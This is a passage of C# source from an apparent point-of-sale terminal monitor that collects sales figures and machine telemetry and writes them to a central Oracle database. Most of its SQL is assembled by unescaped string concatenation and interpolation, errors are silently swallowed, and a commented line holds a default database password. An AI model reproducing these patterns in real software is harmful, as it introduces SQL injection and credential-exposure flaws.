_OracleHelper.ExecuteSqlTran(_SelectSql);
KillExe("dbsyc.exe");
_bUploadService = true;
}
catch
{
_bUploadService = false;
}
}
}
}
}
#endregion
if (_serverpart.Contains(_QualityHelper.serverpartcode) || _bUploadService || _QualityHelper.serverpartcode.StartsWith("36"))
{
KillExe("dbsyc.exe");
if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "GetMembership.exe"))
{
_StartApp += (_StartApp == "" ? "" : "|") + "GetMembership.exe";
}
}
string _StartAppConfig = Lib.ConfigHelper.GetAppConfig(_XmlPath, "StartApp");
if (_StartAppConfig != _StartApp)
{
Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "StartApp", _StartApp);
}
if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "NewSystem") != "0")
{
Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "NewSystem", "0");
}
}
if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "IP") != _QualityHelper.dbip
&& !String.IsNullOrWhiteSpace(_QualityHelper.dbip))
{
Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "IP", _QualityHelper.dbip);
}
if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "ServerPartCode") != _QualityHelper.serverpartcode
&& !String.IsNullOrWhiteSpace(_QualityHelper.serverpartcode))
{
Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "ServerPartCode", _QualityHelper.serverpartcode);
}
if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "ShopCode") != _QualityHelper.shopcode
&& !String.IsNullOrWhiteSpace(_QualityHelper.serverpartcode))
{
Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "ShopCode", _QualityHelper.shopcode);
}
}
catch
{
}
}
#endregion
///
/// 状态反馈、促销信息同步
///
///
///
private void Timeinfocheck_Tick(object sender, EventArgs e)
{
try
{
if (!bgWorker.IsBusy)
bgWorker.RunWorkerAsync();
}
catch
{
bgWorker.CancelAsync();
}
try
{
if (AuthorizationCheck(_QualityHelper.Authorization, _QualityHelper.serverpartcode))
{
_QualityHelper.UpdateConfiguration("License", "1");
}
else
{
_QualityHelper.UpdateConfiguration("License", "0");
}
if (Lib.PCHelper.GetMacAddressByNetworkInformation() == "00:E2:FF:00:A4:30")
{
if (string.IsNullOrWhiteSpace(_QualityHelper.Authorization))
{
_QualityHelper.UpdateConfiguration("License", "0");
}
}
}
catch { }
NewSystemConfig();
bool isNewSystem = _QualityHelper.ConfigurationValues("NewSystem", "0") == "1";
OracleConnection conn = QueryOracle();
try
{
string _mac = GetMacAddressByNetworkInformation();
//string constr = "DSN=anysql1;UID=dba;PWD=sql;";
//OdbcConnection conany = new OdbcConnection(constr);
//conany.Open();
conn.Open();
DateTime conndate = DateTime.Now;
String connectdate = conndate.ToShortDateString();
string connect_ip = GetAddressIP();
string machinename = Dns.GetHostName();
string machinecode = "", serverpartcode = "", shopcode = "", brandnum = "";
string _configsql = "select configuration_name,configuration_values from dba.t_configuration " +
"where configuration_name in ('serverpartcode','shopcode','machinecode','version')";
DataTable _Configuration = Lib.SyBaseHelper.QueryOdbc(_configsql).Tables[0];
//OdbcCommand configcom = new OdbcCommand(_configsql, conany);
//OdbcDataReader configrd = configcom.ExecuteReader();
if (_Configuration.Rows.Count > 0)
{
foreach (DataRow configrd in _Configuration.Rows)
{
if (configrd["configuration_name"].ToString() == "serverpartcode")
{
serverpartcode = configrd["configuration_values"].ToString();
}
else if (configrd["configuration_name"].ToString() == "shopcode")
{
shopcode = configrd["configuration_values"].ToString();
}
else if (configrd["configuration_name"].ToString() == "machinecode")
{
machinecode = configrd["configuration_values"].ToString();
}
else if (configrd["configuration_name"].ToString() == "version")
{
brandnum = configrd["configuration_values"].ToString();
}
}
}
if (machinecode == "" || serverpartcode == "" || shopcode == "")
{
FileStream fis = new FileStream("setup.ini", FileMode.Open);
StreamReader msrd = new StreamReader(fis);
msrd.BaseStream.Seek(0, SeekOrigin.Begin);
string strLine = msrd.ReadLine();
do
{
string[] split = strLine.Split('=');
string b = split[0];
if (b == "machinecode")
machinecode = split[1];
else if (b == "serverpartcode")
serverpartcode = split[1];
else if (b == "shopcode")
shopcode = split[1];
strLine = msrd.ReadLine();
}
while (strLine != null);
fis.Close();
msrd.Close();
}
DataStatistics _DataStatistics = new DataStatistics()
{
ServerPartCode = _QualityHelper.serverpartcode,
ShopCode = _QualityHelper.shopcode,
MachineCode = _QualityHelper.machinecode
};
try
{
// string currcommcount = @"SELECT COUNT(*) AS Expr1 FROM DBA.t_commodityex A ,t_shopmessage B
//WHERE A.SERVERPARTSHOP_ID=B.serverpartshop_id AND A.SERVERPARTCODE='" + serverpartcode + "' AND B.shopcode='" + shopcode + "' AND ISVALID = 1";
// OdbcCommand curr = new OdbcCommand(currcommcount, conany);
// OdbcDataReader odbccurr = curr.ExecuteReader();
int commcount = 0;
commcount = (int)_DataStatistics.GetCommodityCount();
//if (odbccurr.HasRows)
//{
// odbccurr.Read();
// commcount = int.Parse(odbccurr["Expr1"].ToString());//currcommcount
//}
decimal sumsellcount = 0;
decimal count = 0;
decimal sum = 0;
//string DATE = null;
string workname = null;
workname = _DataStatistics.GetPersonName(isNewSystem);
//DATE = _DataStatistics.GetLastTrade(isNewSystem);
_DataStatistics.GetSellStatistics(isNewSystem, out decimal orderCount, out decimal sellCount, out decimal factAmount);
count = orderCount;
sum = factAmount;
sumsellcount = sellCount;
#region 停用
//string sqlsum = @"SELECT COUNT(DISTINCT(TICKETCODE))as max,SUM(FACTAMOUNT) as sum,MAX(SELLDATA_DATE) AS SELL,sum(SELLCOUNT) as sellcount FROM DBA.t_selldata a " +
// "WHERE A.SERVERPARTCODE = '" + serverpartcode + "' AND A.SHOPCODE = '" + shopcode + "' AND A.MACHINECODE = '" + machinecode +
// "' AND SELLDATA_DATE BETWEEN today() and getdate()";
//OdbcCommand comsum = new OdbcCommand(sqlsum, conany);
//OdbcDataReader sumread = comsum.ExecuteReader();
//if (sumread.HasRows)
//{
// sumread.Read();
// count = ((sumread["max"].ToString()));
// sum = ((sumread["sum"].ToString()));
// DATE = ((sumread["SELL"].ToString()));
// sumsellcount = ((sumread["sellcount"].ToString()));
//}
//string sqlname = @"select sellworkername from dba.t_sellworker a,dba.t_personsell b where a.sellworkercode = " +
// "b.cashworker_code and a.serverpartcode = b.serverpartcode and b.shopcode ='" +
// shopcode + "' and b.serverpartcode = '" + serverpartcode + "' and b.machinecode = '" + machinecode +
// "' and b.enddate is null";
//OdbcCommand comname = new OdbcCommand(sqlname, conany);
//OdbcDataReader nameread = comname.ExecuteReader();
//if (nameread.HasRows)
//{
// nameread.Read();
// workname = nameread["sellworkername"].ToString();
//}
//else
//{
// workname = "未登陆工班";
//}
//if (count == "0")
//{
// count = "0";
// sum = "0";
// sumsellcount = "0";
//}
//string sqlcontent = "SELECT COMMODITY_CODE, SELLCOUNT FROM DBA.t_selldata";
//OdbcCommand ocmd = new OdbcCommand(sqlcontent, conany);
//OdbcDataReader conrd = ocmd.ExecuteReader();
//string COMMODITY_CODE = null;
//decimal SELLCOUNT = 0;
//if (conrd.HasRows)
//{
// conrd.Read();
// COMMODITY_CODE = conrd["COMMODITY_CODE"].ToString();
// SELLCOUNT = Convert.ToDecimal(conrd["SELLCOUNT"]);
//}
#endregion
string sqlpoini = @"select count(*) from " + dbname + ".T_CONNECTPOINT where serverpartcode = '" +
serverpartcode + "' and shopcode = '" + shopcode + "'and machinecode = '" + machinecode + "' and machinename = '" + machinename + "'";
OracleCommand cmdpoini = new OracleCommand(sqlpoini, conn);
OracleDataReader poini = cmdpoini.ExecuteReader();
int pcount = 0;
if (poini.HasRows)
{
poini.Read();
pcount = int.Parse(poini["count(*)"].ToString());
}
if (pcount > 0)
{
if (count == 0)
{
string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
"','YYYY/MM/DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
"',curramount=null,currsellcount=null,COMMODITYINFO=null,CURRCOMMCOUNT=" + commcount + ",CONNECT_IP = '" + connect_ip + "',CURRPRESON='" + workname +
"' where MACHINECODE='" + machinecode +
"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "' and machinename = '" + machinename + "'";
OracleCommand ComSave = new OracleCommand(sqlsave, conn);
ComSave.ExecuteNonQuery();
}
else
{
string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
"','YYYY/MM/DD hh24:mi:ss'), CONTENT ='" + GetLastTrade() + "|" + GetLastSellData() + "|" + brandnum +
"',CURRAMOUNT=" + sum + ",CURRSELLCOUNT=" + count + ",CONNECT_IP = '" + connect_ip +
"',CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',COMMODITYINFO='" + sumsellcount + "' where MACHINECODE='" + machinecode +
"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "' and machinename = '" + machinename + "'";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
}
else
{
string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
"',TO_DATE('" + conndate + "','YYYY/MM/DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
"','" + shopcode + "','" + machinename + "','" + GetLastTrade() + "|" + GetLastSellData() +
"|" + brandnum + "'," + sum + "," + count + "," + commcount + ",'" + workname + "','" + sumsellcount + "')";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
if (_mac != string.Empty)
{
string sqlSave = "";
string _strconfig = "";
_configsql = "select configuration_name,configuration_values from dba.t_configuration where lower(configuration_name) in " +
"('serverpartcode','serverpartname','shopcode','machinecode','machinename','server_ip','softwarename','service_port','input_mode','commoditysaleurl','endaccounturl','updatedate','expirydate')";
DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_configsql).Tables[0];
DateTime _ExpiryDate = DateTime.MinValue;
if (_DataTable.Rows.Count > 0)
{
foreach (DataRow row in _DataTable.Rows)
{
if (row["configuration_name"].ToString().ToLower() == "expirydate")
{
DateTime.TryParse(row["configuration_values"].ToString(), out _ExpiryDate);
}
else
{
_strconfig += (_strconfig == "" ? "" : "|") + row["configuration_name"].ToString() + ":" + row["configuration_values"].ToString();
}
}
}
string _strSelect = "select expiry_date,expiry_day from sys_globle where var_name = 'g_ver'";
try
{
if (_ExpiryDate == DateTime.MinValue)
{
_DataTable = Lib.SyBaseHelper.QueryOdbc(_strSelect).Tables[0];
if (_DataTable.Rows.Count > 0)
{
_strconfig += (_strconfig == "" ? "" : "|") + "软件有效期:" + _DataTable.Rows[0]["expiry_date"].ToString();
}
}
else
{
_strconfig += (_strconfig == "" ? "" : "|") + "软件有效期:" + _ExpiryDate.ToString();
}
}
catch { }
string _strDesc = "";
try
{
_strDesc = Lib.SyBaseHelper.QueryOdbc(
$@"SELECT LIST(DISTINCT A.PROMOTION_ID
ORDER BY A.PROMOTION_ID) AS PROMOTION_ID
FROM T_SALESPROMOTE A
WHERE A.SERVERPARTCODE = '{SERVERPARTCODE}' AND
A.SHOPCODE = '{SHOPCODE}' AND
A.SALESPROMOTE_ENDDATE >= NOW() AND
A.SALESPROMOTE_STARTDATE <= NOW() AND A.FLAG = 1"
).Tables[0].Rows[0]["PROMOTION_ID"].ToString();
}
catch { }
string sqlfeedback = $@"SELECT COUNT(*) FROM {dbname}.T_STATEFEEDBACK
WHERE MACHINE_MACADDRESS = '{_mac}' AND
SERVERPARTCODE = '{SERVERPARTCODE}' AND
SHOPCODE = '{SHOPCODE}' AND
MACHINENAME = '{machinename}' AND
MACHINECODE = '{MACHINECODE}'";
try
{
OracleCommand com = new OracleCommand(sqlfeedback, conn);
OracleDataReader dr = com.ExecuteReader();
int feedcount = 0;
if (dr.HasRows)
{
dr.Read();
feedcount = int.Parse(dr[0].ToString());
}
if (feedcount > 0)
{
if (count == 0)
{
sqlSave = $@"UPDATE {dbname}.T_STATEFEEDBACK
SET CONNECT_DATE = TO_DATE('{conndate}','YYYY/MM/DD HH24:MI:SS'),
CONNECT_IP = '{connect_ip}',CURRENT_SELLAMOUNT = NULL,
CURRENT_SELLCOUNT = NULL,CURRENT_TICKETCOUNT = NULL,
CURRENT_GOODSCOUNT = {commcount},CURRENT_PERSON = '{workname}',
SELL_CONTENT = '{connectdate}|',VERSION_NUM = '{brandnum}',
CONFIG_CONTENT = '{_strconfig}',STATEFEEDBACK_DESC = '{_strDesc}'
WHERE MACHINE_MACADDRESS='{_mac}' AND SERVERPARTCODE = '{SERVERPARTCODE}' AND
SHOPCODE = '{SHOPCODE}' AND MACHINENAME = '{machinename}' AND MACHINECODE = '{MACHINECODE}'";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
else
{
sqlSave = $@"UPDATE {dbname}.T_STATEFEEDBACK
SET CONNECT_DATE = TO_DATE('{conndate}','YYYY/MM/DD HH24:MI:SS'),
CONNECT_IP = '{connect_ip}',CURRENT_SELLAMOUNT = {sum},
CURRENT_SELLCOUNT = {sumsellcount},CURRENT_TICKETCOUNT = {count},
CURRENT_GOODSCOUNT = {commcount},CURRENT_PERSON = '{workname}',
SELL_CONTENT = '{GetLastTrade()}|{GetLastSellData()}',VERSION_NUM = '{brandnum}',
CONFIG_CONTENT = '{_strconfig}',STATEFEEDBACK_DESC = '{_strDesc}'
WHERE MACHINE_MACADDRESS='{_mac}' AND SERVERPARTCODE = '{SERVERPARTCODE}' AND
SHOPCODE = '{SHOPCODE}' AND MACHINENAME = '{machinename}' AND MACHINECODE = '{MACHINECODE}'";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
}
else
{
sqlSave = $@"INSERT INTO {dbname}.T_STATEFEEDBACK (STATEFEEDBACK_ID,CONNECT_DATE,SERVERPARTCODE,
SHOPCODE,MACHINECODE,MACHINENAME,MACHINE_MACADDRESS,CONNECT_IP,CURRENT_SELLAMOUNT,
CURRENT_SELLCOUNT,CURRENT_TICKETCOUNT,CURRENT_GOODSCOUNT,CURRENT_PERSON,SELL_CONTENT,
VERSION_NUM,CONFIG_CONTENT,STATEFEEDBACK_DESC)
VALUES (1,TO_DATE('{conndate}','YYYY/MM/DD HH24:MI:SS'),'{SERVERPARTCODE}','{SHOPCODE}','{MACHINECODE}',
'{machinename}','{_mac}','{connect_ip}',{sum},{sumsellcount},{count},{commcount},'{workname}',
'{GetLastTrade()}|{GetLastSellData()}','{brandnum}','{_strconfig}','{_strDesc}')";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
#region T_BASEINFOFEEDBACK
string _Goodsdate = "", _Workernumdate = "", _Hotkeysetdate = "";
string _shopid = "";
string selsql = "SELECT SERVERPARTSHOP_ID FROM T_SHOPMESSAGE " +
"WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "'";
DataTable _Table = ESSupport.Lib.SyBaseHelper.QueryOdbc(selsql).Tables[0];
if (_Table.Rows.Count > 0)
{
_shopid = _Table.Rows[0]["SERVERPARTSHOP_ID"].ToString();
//获取商品版本号
selsql = "SELECT MAX(DOWNLOADDATE) FROM T_COMMODITYEX WHERE SERVERPARTCODE = '" +
SERVERPARTCODE + "' AND SERVERPARTSHOP_ID = (SELECT SERVERPARTSHOP_ID FROM T_SHOPMESSAGE " +
"WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "')";
_Goodsdate = ESSupport.Lib.SyBaseHelper.QueryOdbc(selsql).Tables[0].Rows[0][0].ToString();
selsql = "SELECT 1 FROM " + dbname + ".T_BASEINFOFEEDBACK WHERE MACHINE_MACADDRESS = '" +
_mac + "' AND UPPER(TABLE_NAME) = UPPER('T_COMMODITY')";
com = new OracleCommand(selsql, conn);
if (!com.ExecuteReader().HasRows)
{
sqlSave = "INSERT INTO " + dbname + ".T_BASEINFOFEEDBACK (BASEINFOFEEDBACK_ID,SERVERPART_CODE," +
"SERVERPARTSHOP_ID,SHOPCODE,MACHINECODE,MACHINENAME,MACHINE_MACADDRESS,MACHINE_IP," +
"MACHINE_STARTDATE,MACHINE_ENDDATE,TABLE_NAME) VALUES(" + dbname + ".SEQ_BASEINFOFEEDBACK.NEXTVAL,'" +
_SERVERPARTCODE + "'," + _shopid + ",'" + SHOPCODE + "','" + MACHINECODE + "','" + machinename + "','" +
_mac + "','" + connect_ip + "',TO_DATE('" + _Goodsdate + "','YYYY/MM/DD HH24:MI:SS'),TO_DATE('" +
DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS'),'T_COMMODITY')";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
else
{
sqlSave = "UPDATE " + dbname + ".T_BASEINFOFEEDBACK SET SERVERPART_CODE = '" +
SERVERPARTCODE + "',SERVERPARTSHOP_ID = " + _shopid + ",SHOPCODE = '" +
SHOPCODE + "',MACHINECODE = '" + MACHINECODE + "',MACHINENAME = '" +
machinename + "',MACHINE_IP = '" + connect_ip + "',MACHINE_STARTDATE = TO_DATE('" +
_Goodsdate + "','YYYY/MM/DD HH24:MI:SS'),MACHINE_ENDDATE = TO_DATE('" +
DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS') WHERE MACHINE_MACADDRESS = '" +
_mac + "' AND UPPER(TABLE_NAME) = UPPER('T_COMMODITY')";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
//获取收银工号版本号
selsql = "SELECT MAX(DOWNLOADDATE) FROM T_SELLWORKER WHERE SERVERPARTCODE = '" + _SERVERPARTCODE + "'";
_Workernumdate = ESSupport.Lib.SyBaseHelper.QueryOdbc(selsql).Tables[0].Rows[0][0].ToString();
selsql = "SELECT 1 FROM " + dbname + ".T_BASEINFOFEEDBACK WHERE MACHINE_MACADDRESS = '" +
_mac + "' AND UPPER(TABLE_NAME) = UPPER('T_CASHWORKER')";
com = new OracleCommand(selsql, conn);
if (!com.ExecuteReader().HasRows)
{
sqlSave = "INSERT INTO " + dbname + ".T_BASEINFOFEEDBACK (BASEINFOFEEDBACK_ID,SERVERPART_CODE," +
"SERVERPARTSHOP_ID,SHOPCODE,MACHINECODE,MACHINENAME,MACHINE_MACADDRESS,MACHINE_IP," +
"MACHINE_STARTDATE,MACHINE_ENDDATE,TABLE_NAME) VALUES(" + dbname + ".SEQ_BASEINFOFEEDBACK.NEXTVAL,'" +
_SERVERPARTCODE + "'," + _shopid + ",'" + SHOPCODE + "','" + MACHINECODE + "','" + machinename + "','" +
_mac + "','" + connect_ip + "',TO_DATE('" + _Workernumdate + "','YYYY/MM/DD HH24:MI:SS'),TO_DATE('" +
DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS'),'T_CASHWORKER')";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
else
{
sqlSave = "UPDATE " + dbname + ".T_BASEINFOFEEDBACK SET SERVERPART_CODE = '" +
SERVERPARTCODE + "',SERVERPARTSHOP_ID = " + _shopid + ",SHOPCODE = '" +
SHOPCODE + "',MACHINECODE = '" + MACHINECODE + "',MACHINENAME = '" +
machinename + "',MACHINE_IP = '" + connect_ip + "',MACHINE_STARTDATE = TO_DATE('" +
_Workernumdate + "','YYYY/MM/DD HH24:MI:SS'),MACHINE_ENDDATE = TO_DATE('" +
DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS') WHERE MACHINE_MACADDRESS = '" +
_mac + "' AND UPPER(TABLE_NAME) = UPPER('T_CASHWORKER')";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
//获取商品快捷键版本号
selsql = "SELECT MAX(DOWNLOADDATE) FROM T_HOTKEYSET WHERE SERVERPARTCODE = '" +
SERVERPARTCODE + "' AND BUSINESSTYPE = (SELECT BUSINESSTYPE FROM T_SHOPMESSAGE " +
"WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "')";
_Hotkeysetdate = ESSupport.Lib.SyBaseHelper.QueryOdbc(selsql).Tables[0].Rows[0][0].ToString();
selsql = "SELECT 1 FROM " + dbname + ".T_BASEINFOFEEDBACK WHERE MACHINE_MACADDRESS = '" +
_mac + "' AND UPPER(TABLE_NAME) = UPPER('T_HOTKEYSET')";
com = new OracleCommand(selsql, conn);
if (!com.ExecuteReader().HasRows)
{
sqlSave = "INSERT INTO " + dbname + ".T_BASEINFOFEEDBACK (BASEINFOFEEDBACK_ID,SERVERPART_CODE," +
"SERVERPARTSHOP_ID,SHOPCODE,MACHINECODE,MACHINENAME,MACHINE_MACADDRESS,MACHINE_IP," +
"MACHINE_STARTDATE,MACHINE_ENDDATE,TABLE_NAME) VALUES(" + dbname + ".SEQ_BASEINFOFEEDBACK.NEXTVAL,'" +
_SERVERPARTCODE + "'," + _shopid + ",'" + SHOPCODE + "','" + MACHINECODE + "','" + machinename + "','" +
_mac + "','" + connect_ip + "',TO_DATE('" + _Hotkeysetdate + "','YYYY/MM/DD HH24:MI:SS'),TO_DATE('" +
DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS'),'T_HOTKEYSET')";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
else
{
sqlSave = "UPDATE " + dbname + ".T_BASEINFOFEEDBACK SET SERVERPART_CODE = '" +
SERVERPARTCODE + "',SERVERPARTSHOP_ID = " + _shopid + ",SHOPCODE = '" +
SHOPCODE + "',MACHINECODE = '" + MACHINECODE + "',MACHINENAME = '" +
machinename + "',MACHINE_IP = '" + connect_ip + "',MACHINE_STARTDATE = TO_DATE('" +
_Hotkeysetdate + "','YYYY/MM/DD HH24:MI:SS'),MACHINE_ENDDATE = TO_DATE('" +
DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS') WHERE MACHINE_MACADDRESS = '" +
_mac + "' AND UPPER(TABLE_NAME) = UPPER('T_HOTKEYSET')";
OracleCommand ComSave = new OracleCommand(sqlSave, conn);
ComSave.ExecuteNonQuery();
}
}
#endregion
}
catch (Exception ex)
{
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sqlSave);
}
}
//conany.Close();
conn.Close();
}
catch (Exception ex)
{
//conany.Close();
conn.Close();
LogHelper.WriteServiceLog("CONNECTPINT:" + ex.Message + "\r\n" + SqlString);
}
//conn.Dispose();
if (_mac != string.Empty)
{
string sqlsele = "select * from " + dbname + ".T_MACHINEPOINT where MACHINE_MACADDRESS='" + _mac +
"' and serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinename = '" + machinename + "'";
OracleCommand myORACCommand = conn.CreateCommand();
lblTime.Text = DateTime.Now.ToString();
try
{
conn.Open();
OracleCommand ocmsele = new OracleCommand(sqlsele, conn);
OracleDataReader consele = ocmsele.ExecuteReader();
if (consele.HasRows)
{
string myoracle = "UPDATE " + dbname + ".T_MACHINEPOINT SET MACHINE_IP='" + lblIPAdress4.Text + "',MACHINE_CPU='" + lblCPU.Text +
"',MACHINE_CPUTEMP='" + CpuTemp.Text + "',MACHINE_MEMORY='" + lblSNC.Text + "',MACHINE_DISK='" + lblHardDiskInfo.Text + "',POINT_DATE=to_date('" + conndate +
"','yyyy-MM-dd hh24:mi:ss'),MACHINE_PROCESS='" + lblProcess.Text + "' where MACHINE_MACADDRESS='" + _mac + "' and serverpartcode = '" + SERVERPARTCODE +
"' and shopcode = '" + SHOPCODE + "' and machinename = '" + machinename + "'";
myORACCommand.CommandText = myoracle;
myORACCommand.ExecuteNonQuery();
}
else
{
string myoracle = "INSERT INTO " + dbname + ".T_MACHINEPOINT VALUES (" + dbname + ".SEQ_MACHINEPOINT.Nextval,'"
+ SERVERPARTCODE + "','" + SHOPCODE + "','"
+ _mac + "','" + lblComPName.Text + "','" + lblIPAdress4.Text + "','"
+ lblCPU.Text + "','" + CpuTemp.Text + "','" + lblSNC.Text + "','" + lblHardDiskInfo.Text
+ "',to_date('" + conndate + "','yyyy-MM-dd hh24:mi:ss'),'" + lblProcess.Text + "',1)";
myORACCommand.CommandText = myoracle;
myORACCommand.ExecuteNonQuery();
}
conn.Close();
//conn.Dispose();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog(ex.Message + "\r\n" + SqlString);
}
}
//CPU使用率,保留一位小数,通过WMI
try
{
PerformanceCounter pc = new PerformanceCounter("Processor", "% Processor Time", "_Total");
float cpuLoad = pc.NextValue();
double j = Convert.ToDouble(cpuLoad);
lblCPU.Text = j.ToString("0.00") + "%".ToString();
}
catch
{
lblCPU.Text = "0%";
}
lblTime.Text = DateTime.Now.ToString();
//内存自动刷新
ManagementClass mc = new ManagementClass("Win32_OperatingSystem");
ManagementObjectCollection moc = mc.GetInstances();
foreach (ManagementObject mo in moc)
{
if (mo["TotalVisibleMemorySize"] != null)
{
double i = double.Parse(mo["TotalVisibleMemorySize"].ToString());
double x = i / 1000 / 1000;
string g = Convert.ToDouble(x).ToString("0.00") + "G";
lblZNC.Text = g.ToString();
}
if (mo["FreePhysicalMemory"] != null)
{
double availablebytes = double.Parse(mo["FreePhysicalMemory"].ToString());
double x = availablebytes / 1024 / 1024;
string g = Convert.ToDouble(x).ToString("0.0") + "G";
lblSNC.Text = g.ToString();
}
}
try
{
//CPU温度
//CpuTemp.Text = CHardwareMonitor.GetCPUTemperature().ToString();
double stemp = CHardwareMonitor.GetCPUTemperature();
CpuTemp.Text = stemp + "°C";
// conn.Open();
// if (stemp > 60)
// {
// string myoracle = "INSERT INTO " + dbname + ".T_MACHINEPOINT VALUES (" + dbname + ".SEQ_MACHINEPOINT.Nextval,'"
// + SERVERPARTCODE + "','" + SHOPCODE + "','"
// + _mac + "','" + lblComPName.Text + "','" + lblIPAdress4.Text + "','"
// + lblCPU.Text + "','" + CpuTemp.Text + "','" + lblSNC.Text + "','" + lblHardDiskInfo.Text
// + "',to_date('" + conndate + "','yyyy-MM-dd hh24:mi:ss'),'" + lblProcess.Text + "',0)";
// myORACCommand.CommandText = myoracle;
// myORACCommand.ExecuteNonQuery();
// }
// else
// {
// string myoracle = "update " + dbname + ".T_MACHINEPOINT set MACHINEPOINT_ID=" + dbname + ".SEQ_MACHINEPOINT.Nextval,MACHINE_MACADDRESS='"
// + _mac + "',MACHINENAME='" + lblComPName.Text + "',MACHINE_IP='" + lblIPAdress4.Text + "',MACHINE_CPU='" + lblCPU.Text +
// "',MACHINE_CPUTEMP='" + CpuTemp.Text + "',MACHINE_MEMORY='" + lblSNC.Text + "',MACHINE_DISK='" + lblHardDiskInfo.Text + "',POINT_DATE=to_date('" + conndate +
// "','yyyy-MM-dd hh24:mi:ss'),MACHINE_PROCESS='" + lblProcess.Text + "' where MACHINE_MACADDRESS = '" + _mac + "'";
// myORACCommand.CommandText = myoracle;
// myORACCommand.ExecuteNonQuery();
// }
// conn.Close();
// //conn.Dispose();
// //系统时间
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("温度:" + ex.Message);
}
if (_mac != string.Empty)
{
#region 下载配置信息
//string _cofigsql = "select * from " + dbname + ".t_configuration where macaddress = '" + _mac + "' and lower(configuration_name) not in ('server_ip','service_port','service_port2','service_port3','service_port4','service_port5','mobilepayoperators')";
try
{
if (_OracleHelper == null)
{
_OracleHelper = new Lib.OracleHelper(_QualityHelper.dbip, _QualityHelper.dbport,
_QualityHelper.conname, _QualityHelper.dbuser, _QualityHelper.dbpass);
}
bool isReplaceColumnName = false;
try
{
if (_OracleHelper.ExcuteSqlGetDataSet(
@"SELECT 1 FROM ALL_TAB_COLUMNS
WHERE OWNER = 'HIGHWAY_EXCHANGE' AND
TABLE_NAME = 'T_SHOPMESSAGE' AND
COLUMN_NAME = 'SERVERPART_CODE'").Tables[0].Rows.Count > 0)
{
isReplaceColumnName = true;
}
}
catch { }
DataTable _DataTable = null;
if (isReplaceColumnName)
{
_DataTable = _OracleHelper.ExcuteSqlGetDataSet(
$@"SELECT A.BUSINESSCONFIG_ID AS CONFIGURATION_ID,A.CONFIGURATION_DATE,
A.SERVERPARTCODE,B.SHOPCODE,'' AS MACHINECODE,
'' AS MACADDRESS,A.CONFIGURATION_NAME,
A.CONFIGURATION_VALUES,NULL AS CONFIGURATION_DESC,NULL AS FLAG
FROM HIGHWAY_EXCHANGE.T_BUSINESSCONFIG A,
HIGHWAY_EXCHANGE.T_SHOPMESSAGE B
WHERE A.BUSINESSTYPE = B.BUSINESSTYPE AND A.SERVERPARTCODE = B.SERVERPART_CODE AND
B.SERVERPART_CODE = '{SERVERPARTCODE}' AND B.SHOPCODE = {SHOPCODE}
UNION ALL
SELECT C.CONFIGURATION_ID,C.CONFIGURATION_DATE,C.SERVERPARTCODE,
C.SHOPCODE,C.MACHINECODE,C.MACADDRESS,C.CONFIGURATION_NAME,
C.CONFIGURATION_VALUES,C.CONFIGURATION_DESC,C.FLAG
FROM HIGHWAY_EXCHANGE.T_CONFIGURATION C
WHERE C.MACADDRESS = '{_mac}' AND NOT EXISTS (SELECT 1
FROM HIGHWAY_EXCHANGE.T_BUSINESSCONFIG A,
HIGHWAY_EXCHANGE.T_SHOPMESSAGE B
WHERE A.BUSINESSTYPE = B.BUSINESSTYPE AND
UPPER(A.CONFIGURATION_NAME) = UPPER(C.CONFIGURATION_NAME) AND
B.SERVERPART_CODE = '{SERVERPARTCODE}' AND B.SHOPCODE = '{SHOPCODE}')").Tables[0];
}
else
{
_DataTable = _OracleHelper.ExcuteSqlGetDataSet(
